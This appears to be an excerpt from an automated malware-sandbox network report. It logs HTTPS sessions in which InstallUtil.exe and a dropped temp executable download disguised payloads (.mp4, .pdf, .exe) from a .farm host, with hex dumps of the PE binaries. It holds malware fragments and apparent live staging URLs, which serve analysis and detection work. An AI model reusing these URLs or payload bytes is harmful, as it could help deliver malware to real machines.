30 30 30 32 30 30 30 30 30 30 41 38 30 35 30 30 30 30 31 Data Ascii: 1E00062A00000042280F1900067EBB0B0004286B1E00062A0000000330080004000000000000000000002A417C0000000000003F0200008E000000CD020000390000001A00000102000000330100004F000000820100008C00000000000000020000006508000079020000DE0A0000770000000000000002000000A80500001
2024-06-17 14:18:47 UTC	1369	IN	Data Raw: 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 Data Ascii: 0002A120000142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A1330030004000000000000000000002A42280F1900067EBB0B0004286B1E00062A000000120000172A000000120000142A000000120000172A0000001330030004000000000000000000002A12

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	188.114.96.3	443	8028	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-17 14:18:54 UTC	124	OUT	GET /don2/Qlxywcbxa.mp4 HTTP/1.1 Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm Connection: Keep-Alive
2024-06-17 14:18:54 UTC	748	IN	HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 14:18:54 GMT Content-Type: video/mp4 Content-Length: 5778432 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 17 Jun 2024 13:16:44 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1108 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CFH55gLfjStZjGyluNge3ZRFXbz4%2BtwEKsTNwlQBUbkMY4aR8k2FEUe4egQJl71ySRuTfGF0%2BBYF2y2vaRfHFx2zEnVsAxl7Yb160LYoTZT4xRd8o2aH%2Bkr82JZj%2BtfEXuJnUMHpfmtxLOZPK%2FTgVII79GGABk6jE6GRCD2x8I6Oh5P3q6af%2BpTaMw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8953abe94eb42e1f-DFW alt-svc: h3=":443"; ma=86400
2024-06-17 14:18:54 UTC	621	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 32 30 30 30 30 30 34 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 45 37 34 36 35 37 38 37 34 30 30 30 30 30 30 30 34 30 44 32 43 30 30 30 30 32 30 30 30 30 30 30 30 30 45 32 43 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 36 30 32 45 37 32 37 33 37 32 36 33 30 30 30 30 30 30 33 34 30 33 30 30 30 30 30 30 34 30 32 43 30 30 30 30 30 34 30 30 30 30 30 30 31 30 Data Ascii: 000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000040D2C0000200000000E2C0000020000000000000000000000000000200000602E727372630000003403000000402C00000400000010
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 34 33 30 30 30 30 30 30 39 32 30 33 30 30 30 30 44 35 30 33 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 34 31 31 43 30 30 30 30 30 30 30 30 30 30 30 30 34 42 30 30 30 30 30 30 36 43 30 31 30 30 30 30 42 37 30 31 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 37 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 00000000000000172A411C0000000000004300000092030000D5030000390000001A0000010330080004000000000000000000172A411C0000000000004B0000006C010000B7010000390000001A0000011330030004000000000000000000172A1330030004000000000000000000002A13300300040000000000000000000
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 30 30 30 30 34 32 30 31 35 30 30 30 30 30 30 37 45 34 32 30 42 30 30 30 34 37 42 32 30 30 42 30 30 30 34 33 39 39 35 46 45 46 46 46 46 32 36 32 30 30 30 30 30 30 30 30 30 33 38 38 41 46 45 46 46 46 46 32 41 32 30 33 42 32 33 30 30 31 33 32 30 31 38 35 30 36 30 34 41 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 34 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 38 42 31 41 32 33 44 35 32 30 46 45 31 36 30 30 45 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 37 42 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 30 34 30 30 30 30 32 42 38 30 33 46 30 30 30 30 30 34 32 30 31 31 30 30 30 30 30 30 33 38 33 35 46 45 46 46 46 46 32 30 39 35 31 33 43 38 45 31 32 30 31 46 30 30 31 32 Data Ascii: 0000420150000007E420B00047B200B00043995FEFFFF262000000000388AFEFFFF2A203B230013201850604A617E420B00047B540B0004617EC70B0004289B1E0006208B1A23D520FE1600E7617E420B00047B7B0B0004617EC70B0004289B1E0006280400002B803F00000420110000003835FEFFFF209513C8E1201F0012
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 30 34 37 42 35 32 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 30 35 36 36 43 35 43 35 32 30 43 31 41 33 41 34 41 33 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 30 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 30 42 30 30 30 30 32 42 38 30 34 30 30 30 30 30 30 34 32 30 30 45 30 30 30 30 30 30 33 38 42 41 46 42 46 46 46 46 32 30 34 45 46 46 45 44 34 41 32 30 31 38 43 39 46 31 34 34 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 30 36 37 35 31 33 33 32 32 30 33 43 42 33 33 37 32 46 36 31 37 45 34 32 30 42 30 30 30 34 37 42 38 34 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 Data Ascii: 047B520B0004617EC70B0004289B1E0006200566C5C520C1A3A4A3617E420B00047B500B0004617EC70B0004289B1E0006280B00002B8040000004200E00000038BAFBFFFF204EFFED4A2018C9F144617E420B00047B4F0B0004617EC70B0004289B1E00062006751332203CB3372F617E420B00047B840B0004617EC70B000
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 31 37 45 34 32 30 42 30 30 30 34 37 42 35 32 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 35 43 31 32 37 34 34 38 32 30 39 41 35 33 41 32 46 35 36 31 32 30 31 37 45 36 32 42 46 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 31 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 31 32 30 30 30 30 32 42 38 30 33 45 30 30 30 30 30 34 32 30 32 30 30 30 30 30 30 30 37 45 34 32 30 42 30 30 30 34 37 42 39 37 30 42 30 30 30 34 33 39 46 39 46 38 46 46 46 46 32 36 32 30 30 43 30 30 30 30 30 30 33 38 45 45 46 38 46 46 46 46 32 30 32 37 37 39 43 44 45 42 32 30 46 32 43 31 43 45 44 37 36 31 37 45 34 32 30 42 30 30 30 34 37 42 39 42 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 Data Ascii: 17E420B00047B520B0004617EC70B0004289B1E0006205C127448209A53A2F5612017E62BF7617E420B00047B1F0B0004617EC70B0004289B1E0006281200002B803E00000420200000007E420B00047B970B000439F9F8FFFF26200C00000038EEF8FFFF202779CDEB20F2C1CED7617E420B00047B9B0B0004617EC70B0004
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 31 45 30 30 30 36 32 30 31 33 30 30 30 30 30 30 33 38 39 39 46 36 46 46 46 46 32 30 41 41 35 30 42 44 38 30 32 30 41 33 37 31 35 46 31 45 35 38 32 30 45 35 43 32 36 36 46 32 36 31 37 45 34 32 30 42 30 30 30 34 37 42 32 42 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 45 39 30 42 36 31 34 46 32 30 33 46 33 43 33 38 30 36 35 38 32 30 36 43 33 46 30 32 33 32 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 36 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 31 39 30 30 30 30 32 42 38 30 32 44 30 30 30 30 30 34 32 30 32 31 30 30 30 30 30 30 33 38 33 39 46 36 46 46 46 46 32 30 38 39 37 37 42 34 33 36 32 30 43 36 33 45 30 45 32 44 36 31 37 45 34 32 30 42 30 30 30 34 37 42 35 36 30 Data Ascii: 1E000620130000003899F6FFFF20AA50BD8020A3715F1E5820E5C266F2617E420B00047B2B0B0004617EC70B0004289B1E000620E90B614F203F3C380658206C3F0232617E420B00047B460B0004617EC70B0004289B1E0006281900002B802D00000420210000003839F6FFFF208977B43620C63E0E2D617E420B00047B560
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 30 30 34 37 42 39 31 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 30 45 33 37 46 34 41 36 37 32 30 37 42 34 39 35 36 36 39 36 31 37 45 34 32 30 42 30 30 30 34 37 42 34 46 30 42 30 30 30 34 36 31 37 45 43 37 30 42 30 30 30 34 32 38 39 42 31 45 30 30 30 36 32 38 32 30 30 30 30 30 32 42 38 30 32 37 30 30 30 30 30 34 32 30 31 38 30 30 30 30 30 30 33 38 42 34 46 33 46 46 46 46 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 34 32 Data Ascii: 0047B910B0004617EC70B0004289B1E000620E37F4A67207B495669617E420B00047B4F0B0004617EC70B0004289B1E0006282000002B8027000004201800000038B4F3FFFF00120000172A000000120000142A00000042280F1900067EBB0B0004286B1E00062A00000042280F1900067EBB0B0004286B1E00062A00000042
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 30 30 30 30 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 30 33 33 30 30 38 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 31 37 43 30 30 30 30 30 30 30 30 30 30 30 30 33 46 30 32 30 30 30 30 38 45 30 30 30 30 30 30 43 44 30 32 30 30 30 30 33 39 30 30 30 30 30 30 31 41 30 30 30 30 30 31 30 32 30 30 30 30 30 30 33 33 30 31 30 30 30 30 34 46 30 30 30 30 30 30 38 32 30 31 30 30 30 30 38 43 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 36 35 30 38 30 30 30 30 37 39 30 32 30 30 30 30 44 45 30 41 30 30 30 30 37 37 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 41 38 30 35 30 30 30 30 31 43 30 31 30 30 30 30 43 34 30 Data Ascii: 000042280F1900067EBB0B0004286B1E00062A0000000330080004000000000000000000002A417C0000000000003F0200008E000000CD020000390000001A00000102000000330100004F000000820100008C00000000000000020000006508000079020000DE0A0000770000000000000002000000A80500001C010000C40
2024-06-17 14:18:54 UTC	1369	IN	Data Raw: 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 34 32 32 38 30 46 31 39 30 30 30 36 37 45 42 42 30 42 30 30 30 34 32 38 36 42 31 45 30 30 30 36 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 34 32 41 30 30 30 30 30 30 31 32 30 30 30 30 31 37 32 41 30 30 30 30 30 30 31 33 33 30 30 33 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 41 31 32 30 30 30 30 31 34 32 41 30 30 Data Ascii: 0142A0000001330030004000000000000000000002A120000142A0000001330030004000000000000000000002A1330030004000000000000000000002A42280F1900067EBB0B0004286B1E00062A000000120000172A000000120000142A000000120000172A0000001330030004000000000000000000002A120000142A00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	188.114.96.3	443	8028	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-17 14:19:00 UTC	126	OUT	GET /don2-m/kr/Wudbiu.exe HTTP/1.1 Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm Connection: Keep-Alive
2024-06-17 14:19:00 UTC	763	IN	HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 14:19:00 GMT Content-Type: application/x-msdos-program Content-Length: 7168 Connection: close Vary: Accept-Encoding Last-Modified: Wed, 24 Jan 2024 13:41:54 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o7Fqx%2B0nZ6Gf64XjZ%2FI%2FRiv6qrnrn89KEz95sR6YU9Uppw5%2FyBhkpTxBVsSsPWRi2ZlHyuB5ELWS5GCTsnq5%2Bei1COW3RrtxECt4%2FXoykVU0%2F2ubskpAN%2F%2BfjBIM26avcceWnR57CDNbqo%2FTthCu%2FhP51RBvaRiWPslXvYIY6OkIUC0STUUs9egKkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8953ac0e9bd0ea42-DFW alt-svc: h3=":443"; ma=86400
2024-06-17 14:19:00 UTC	606	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3f 67 70 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 12 00 00 00 08 00 00 00 00 00 00 c6 30 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL?gpf0 @@ `
2024-06-17 14:19:00 UTC	1369	IN	Data Raw: 06 00 db 00 00 00 01 00 00 11 17 2c 39 14 38 b6 00 00 00 16 2d 0a 2b 0a 2b 0f 2b 14 18 2d 18 26 de 24 28 03 00 00 06 2b ef 6f 0f 00 00 0a 2b ea 28 04 00 00 06 2b e5 0a 2b e6 6f 10 00 00 0a 28 11 00 00 0a de 00 38 84 00 00 00 14 38 84 00 00 00 39 72 00 00 00 1e 39 6c 00 00 00 14 38 7d 00 00 00 1b 2c 0b 18 2c 08 2b 08 6f 12 00 00 0a 0b de 0f 06 2b f5 6f 10 00 00 0a 28 11 00 00 0a de 00 07 2c 44 07 0c 16 25 2d 29 0d 2b 27 08 09 a3 16 00 00 01 13 04 11 04 72 01 00 00 70 20 00 01 00 00 14 14 14 6f 13 00 00 0a 26 de 03 26 de 00 09 17 58 0d 09 08 8e 69 32 d3 de 0c 6f 10 00 00 0a 28 11 00 00 0a de 00 2a 0a 38 44 ff ff ff 06 38 76 ff ff ff 28 14 00 00 0a 38 72 ff ff ff 0b 38 7d ff ff ff 00 01 34 00 00 00 00 09 00 27 30 00 0c 14 00 00 01 00 00 58 00 13 6b 00 0c 14 Data Ascii: ,98-+++-&$(+o+(++o(889r9l8},,+o+o(,D%-)+'rp o&&Xi2o(*8D8v(8r8}4'0Xk
2024-06-17 14:19:00 UTC	1369	IN	Data Raw: 00 00 00 1c 00 1e 00 05 00 01 00 01 00 80 01 10 00 1e 00 1e 00 05 00 01 00 05 00 01 01 00 00 37 00 4a 00 09 00 01 00 05 00 50 20 00 00 00 00 90 00 1e 00 0a 00 01 00 5c 20 00 00 00 00 90 00 1e 00 0a 00 01 00 78 21 00 00 00 00 90 00 1e 00 0e 00 01 00 64 22 00 00 00 00 90 00 1e 00 16 00 01 00 08 24 00 00 00 00 06 18 aa 00 1d 00 02 00 00 00 01 00 1c 00 29 00 aa 00 22 00 31 00 aa 00 30 00 39 00 aa 00 53 00 49 00 aa 00 1d 00 51 00 aa 00 1d 00 59 00 aa 00 1d 00 61 00 aa 00 1d 00 69 00 aa 00 1d 00 71 00 aa 00 1d 00 79 00 aa 00 1d 00 81 00 aa 00 1d 00 89 00 aa 00 1d 00 91 00 aa 00 1d 00 99 00 aa 00 0d 01 0c 00 90 02 41 01 a1 00 a2 02 47 01 a9 00 b6 02 4b 01 21 00 c0 02 50 01 b1 00 ce 02 56 01 21 00 ef 02 62 01 0c 00 aa 00 30 00 c9 00 04 03 78 01 d1 00 16 03 7e 01 Data Ascii: 7JP \ x!d"$)"109SIQYaiqyAGK!PV!b0x~
2024-06-17 14:19:00 UTC	1369	IN	Data Raw: 65 73 75 6c 74 00 45 6e 63 6f 64 69 6e 67 00 53 79 73 74 65 6d 2e 54 65 78 74 00 67 65 74 5f 41 53 43 49 49 00 47 65 74 53 74 72 69 6e 67 00 4c 6f 61 64 00 43 6f 6e 63 61 74 00 42 61 64 49 6d 61 67 65 46 6f 72 6d 61 74 45 78 63 65 70 74 69 6f 6e 00 41 72 67 75 6d 65 6e 74 4e 75 6c 6c 45 78 63 65 70 74 69 6f 6e 00 41 70 70 44 6f 6d 61 69 6e 55 6e 6c 6f 61 64 65 64 45 78 63 65 70 74 69 6f 6e 00 46 69 6c 65 4c 6f 61 64 45 78 63 65 70 74 69 6f 6e 00 53 79 73 74 65 6d 2e 49 4f 00 46 69 6c 65 4e 6f 74 46 6f 75 6e 64 45 78 63 65 70 74 69 6f 6e 00 49 4f 45 78 63 65 70 74 69 6f 6e 00 55 6e 61 75 74 68 6f 72 69 7a 65 64 41 63 63 65 73 73 45 78 63 65 70 74 69 6f 6e 00 53 65 63 75 72 69 74 79 45 78 63 65 70 74 69 6f 6e 00 53 79 73 74 65 6d 2e 53 65 63 75 72 69 74 79 Data Ascii: esultEncodingSystem.Textget_ASCIIGetStringLoadConcatBadImageFormatExceptionArgumentNullExceptionAppDomainUnloadedExceptionFileLoadExceptionSystem.IOFileNotFoundExceptionIOExceptionUnauthorizedAccessExceptionSecurityExceptionSystem.Security
2024-06-17 14:19:00 UTC	1369	IN	Data Raw: 80 85 12 80 89 12 80 8d 12 80 91 12 80 95 12 51 00 00 00 a4 30 00 00 00 00 00 00 00 00 00 00 ba 30 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 30 00 00 00 00 00 00 00 00 5f 43 6f 72 45 78 65 4d 61 69 6e 00 6d 73 63 6f 72 65 65 2e 64 6c 6c 00 ff 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Q00 0_CorExeMainmscoree.dll% @
2024-06-17 14:19:00 UTC	1086	IN	Data Raw: 67 3d 22 55 54 46 2d 38 22 20 73 74 61 6e 64 61 6c 6f 6e 65 3d 22 79 65 73 22 3f 3e 0d 0a 0d 0a 3c 61 73 73 65 6d 62 6c 79 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 31 22 20 6d 61 6e 69 66 65 73 74 56 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 0d 0a 20 20 3c 61 73 73 65 6d 62 6c 79 49 64 65 6e 74 69 74 79 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 30 22 20 6e 61 6d 65 3d 22 4d 79 41 70 70 6c 69 63 61 74 69 6f 6e 2e 61 70 70 22 2f 3e 0d 0a 20 20 3c 74 72 75 73 74 49 6e 66 6f 20 78 6d 6c 6e 73 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 61 73 6d 2e 76 32 22 3e 0d 0a 20 20 20 20 3c 73 65 63 75 72 69 74 79 3e 0d 0a 20 20 20 20 20 20 3c 72 65 71 Data Ascii: g="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <req

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	65277	188.114.96.3	443	3624	C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-17 14:19:03 UTC	125	OUT	GET /don2-m/Dllzeadr.pdf HTTP/1.1 Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm Connection: Keep-Alive
2024-06-17 14:19:04 UTC	738	IN	HTTP/1.1 200 OK Date: Mon, 17 Jun 2024 14:19:04 GMT Content-Type: application/pdf Content-Length: 5843968 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 17 Jun 2024 13:41:04 GMT Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eNJ2ModABsiWArxxkyOtbr2uNh4Jxubbzra35TMXJGiaMoKSK5GlwJLgb2amWp1MwlHtXpeZyGlZNZNvRijlA20TZOJ01CiLzg7a7J%2BZmVocR9LToyN%2FuRay%2BCjV1wA2fOjOh5RZeKPFLLYYybk5Kl9ErX1xaNE7nyGMTWd6HdfX7eD8GHGv7xoOnw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8953ac2579712839-DFW alt-svc: h3=":443"; ma=86400
2024-06-17 14:19:04 UTC	631	IN	Data Raw: 34 44 35 41 39 30 30 30 30 33 30 30 30 30 30 30 30 34 30 30 30 30 30 30 46 46 46 46 30 30 30 30 42 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 34 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 45 31 46 42 41 30 45 30 30 42 34 30 39 43 44 32 31 42 38 30 31 34 43 43 44 32 31 35 34 36 38 36 39 37 33 32 30 37 30 37 32 36 46 36 37 37 32 36 31 36 44 32 30 36 33 36 31 36 45 36 45 36 46 37 34 32 30 36 32 36 35 32 30 37 32 37 35 36 45 32 30 36 39 36 45 32 30 34 34 34 46 35 33 32 30 36 44 36 46 36 34 36 35 32 45 30 44 30 44 30 41 32 34 30 30 30 30 30 30 30 30 30 30 30 30 30 Data Ascii: 4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A240000000000000
2024-06-17 14:19:04 UTC	1369	IN	Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 38 32 30 30 30 30 30 34 38 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 45 37 34 36 35 37 38 37 34 30 30 30 30 30 30 31 34 38 43 32 43 30 30 30 30 32 30 30 30 30 30 30 30 38 45 32 43 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 36 30 32 45 37 32 37 33 37 32 36 33 30 30 30 30 30 30 33 34 30 33 30 30 30 30 30 30 43 30 32 43 30 30 30 30 30 34 30 30 30 30 30 30 39 30 32 43 30 30 30 30 30 30 30 30 Data Ascii: 